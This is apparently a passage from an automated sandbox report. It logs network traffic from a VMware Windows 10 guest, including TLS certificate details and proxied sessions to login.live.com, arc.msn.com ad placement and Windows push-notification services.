Nov 28, 2024 00:21:09.806585073 CET	672	IN	Data Raw: c3 0b 9d eb 26 ca a1 85 77 fb 5b 1d b3 4e 17 4a c5 a9 09 50 4f c0 c3 08 f1 cd 84 b6 8c a3 fc 9e 18 29 4a bb cf 81 3b 19 d5 01 b9 b6 75 ba 3e a4 13 65 89 8c 70 c0 4e f8 ae 5c 1e 1d 69 d2 88 57 5b 49 a9 24 ef a8 9f 15 65 11 1b a3 76 cb 63 e1 be 7e Data Ascii: &w[NJPO)J;u>epN\iW[I$evc~Q1#5-=(yhblxQF<v8H>9,\L]srj2c`POQQURsCQ6em$ut)p>%YwsD
Nov 28, 2024 00:21:09.806639910 CET	1236	IN	Data Raw: df 9a cd 20 df 7c 3e 88 7a 79 27 bc f1 96 6e 14 53 76 e2 da a9 ec ae 52 f5 16 1d 29 40 f4 4d ab 7f 0e 82 cf 85 38 1c 99 a6 af 83 45 64 2f da 77 25 d5 eb 4f 9f 85 38 7d f1 7e 97 cc 03 eb fa c6 a7 b3 09 52 ad ba 3a 29 cd 86 2d 49 0d 33 a1 54 47 4c Data Ascii: \|>zy'nSvR)@M8Ed/w%O8}~R:)-I3TGLCty!hlbfJMxJ]#BHzB1Dinf%F^A8Pj`MuN5ac7UDc<>(a@`5.V:='xR
Nov 28, 2024 00:21:09.806674957 CET	1236	IN	Data Raw: 51 ba 91 e7 c7 93 48 9e 51 6e fe a7 05 b3 e7 c2 4d bb 56 f4 93 ce b5 d0 05 92 26 4e e9 d2 65 8b 17 eb a6 c7 0a d9 99 54 73 10 af 64 15 77 c2 48 79 cb 5a c8 9f 2f 55 bc 8e 07 c2 c0 44 1b c4 60 b2 e0 83 ba d5 57 65 38 9a 4e a7 28 97 31 c4 9b e8 d3 Data Ascii: QHQnMV&NeTsdwHyZ/UD`We8N(1}?T4{i~B/oG:%Qh?)Ve L@7I\t?]\|I;&76BIQ^WnTkeQ1c@u);k`}b\py%?L&,B<U
Nov 28, 2024 00:21:09.806711912 CET	1236	IN	Data Raw: 0f 1b ed af ba e2 f3 90 d3 db 54 2c a6 63 09 33 d0 14 20 8d 54 ba 1d ae 47 38 04 66 8c ad b7 fa 50 e2 52 88 90 b9 43 dc 76 50 2a 15 16 27 24 35 68 5a 72 78 ed 75 c0 bd 9c d2 29 09 cd 67 ee 15 2a 4f 97 38 4e f1 61 d1 d1 f2 e8 c6 b1 01 b7 b5 3d fc Data Ascii: T,c3 TG8fPRCvP'$5hZrxu)gO8Na=Zpx)4;t.Ja*fNe{pTWS35$g<:tuXAMKPF(o(M1.fdkgDHy4v
Nov 28, 2024 00:21:09.930147886 CET	1236	IN	Data Raw: c5 aa 65 78 9c 14 01 5a 16 70 a1 84 7b ae 85 44 10 54 df 5d e6 51 3e e4 cd 26 be a2 05 69 1a ec 87 02 12 7e 14 47 86 0d d1 61 0b 64 0d 69 e5 1d f0 08 3c 0d ef ec 78 ae 59 22 bd 88 cb fe 91 b5 b5 7a 1c ef af 8a 12 87 0c b5 c6 79 14 8f 34 f0 d3 10 Data Ascii: exZp{DT]Q>&i~Gadi<xY"zy4p@EjF?8hf^!gFTS\9'EwO9/&"J3P odvNLLX,0CD#9<= =5oV

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 28, 2024 00:19:57.402549982 CET	13.107.246.63	443	192.168.2.6	49900	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	20.190.177.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-27 23:19:05 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 23:19:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 23:18:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: babf819e-4d6e-4796-8c5e-e78bb74da0f4 PPServer: PPV: 30 H: BL02EPF0001DA36 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 23:19:05 GMT Connection: close Content-Length: 11197
2024-11-27 23:19:06 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49709	20.31.169.57	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:07 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231854Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b14448f38fe04efca346a78c5108509b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604380&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604380&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: OHjf8TESfkmzAPIV.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 23:19:07 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3356 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P426081542-T1-C128000000001615609+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: kNPqeaUcOJJ2dFfut5Ml/OI1St5vsos9SoqS2ZJ4K4pYevKaaWt80XfjyGQbi/F698b78mhvB282zCkeYLCLyMagk2edyHMjVigjeAc/ihuWqvLCKWjkEeaB56VFii96LZfkQsBBJ9lI7pmi9rsxbpErRZGU4LzrYtAUIHnb+wYEFYeL9j8C+me0p3IMlIbLPiHqK4aNgp0gNjiD1RSLOh4EePW6Xw7cbI4yPqzNkt/Q5pXcsLUHBuQtxftbrGPHB//tm1ncdzrxyvyXMEki2kl/H9HDc4yfDYSsVh+eFCunAe1WckBQeEG6NYYXxfbbE+xWMwFESxWctn5eGpkiTA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:07 GMT Connection: close
2024-11-27 23:19:07 UTC	3356	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49710	20.31.169.57	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:07 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231854Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=32b45b1a09cd413291ced2dd577c202e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604380&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604380&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: OHjf8TESfkmzAPIV.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 23:19:08 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1408 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: LndT9a8mhK83BFjJUOHajKrvYlJn7Bl9qjv6gwBAZseUzecXcvPYV8fzIXyOs25WgFnC43UbQVEHaGEu7MMKqTKiCnm3Y67IRwiIMjpUboHi2Ck9DtbCafF18Vx/1P+R7CZCvQHOrSKYuRwt1nj4QPwthn7QL1+KpbVrXPFWZo8CTh/mpW/XfDbZGyjZCsQwci7AIQxnclclxF2OLfJ1kFMQuwlV6E39nswSiNRfZPPYhxAXq0NZPOaGNWHRP0Zbj+j5S9573yr0GneG6iTJhxqagTmkyG+aUphGFMg33E1THlQW2QUqVXtcfYfNwumjUMliSK7vkF3rMPOt7Chvog== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:07 GMT Connection: close
2024-11-27 23:19:08 UTC	1408	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49713	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 4e 49 30 2f 49 48 64 69 6b 43 41 5a 37 33 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 61 31 39 33 31 37 63 63 30 33 37 61 33 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: dNI0/IHdikCAZ73d.1Context: 7ea19317cc037a35
2024-11-27 23:19:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-27 23:19:14 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 64 4e 49 30 2f 49 48 64 69 6b 43 41 5a 37 33 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 61 31 39 33 31 37 63 63 30 33 37 61 33 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 7a 48 51 73 45 46 7a 30 58 4e 79 32 78 75 67 48 73 36 32 75 68 2f 34 79 71 7a 30 58 70 45 69 52 39 6f 32 48 32 74 47 7a 30 4b 68 57 75 65 78 65 41 37 41 46 50 6d 66 45 4f 55 41 4a 33 59 4e 52 47 44 73 6f 57 4b 42 54 2f 30 36 71 41 52 77 38 58 51 71 35 43 49 31 4b 31 57 39 54 65 54 37 6a 6e 69 34 49 71 52 71 4e 68 4d 30 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: dNI0/IHdikCAZ73d.2Context: 7ea19317cc037a35<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARzHQsEFz0XNy2xugHs62uh/4yqz0XpEiR9o2H2tGz0KhWuexeA7AFPmfEOUAJ3YNRGDsoWKBT/06qARw8XQq5CI1K1W9TeT7jni4IqRqNhM0W
2024-11-27 23:19:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 4e 49 30 2f 49 48 64 69 6b 43 41 5a 37 33 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 61 31 39 33 31 37 63 63 30 33 37 61 33 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: dNI0/IHdikCAZ73d.3Context: 7ea19317cc037a35<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-27 23:19:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-27 23:19:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 37 72 71 52 77 49 58 6a 6b 32 79 47 33 73 62 4e 6b 41 34 57 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: X7rqRwIXjk2yG3sbNkA4Wg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49717	20.31.169.57	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:17 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231914Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6b5b6ee5d9634f7291b8f9ea9aa732f2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-280815&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p= Cache-Control: no-cache MS-CV: gd+DFRV7DkGoJitD.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
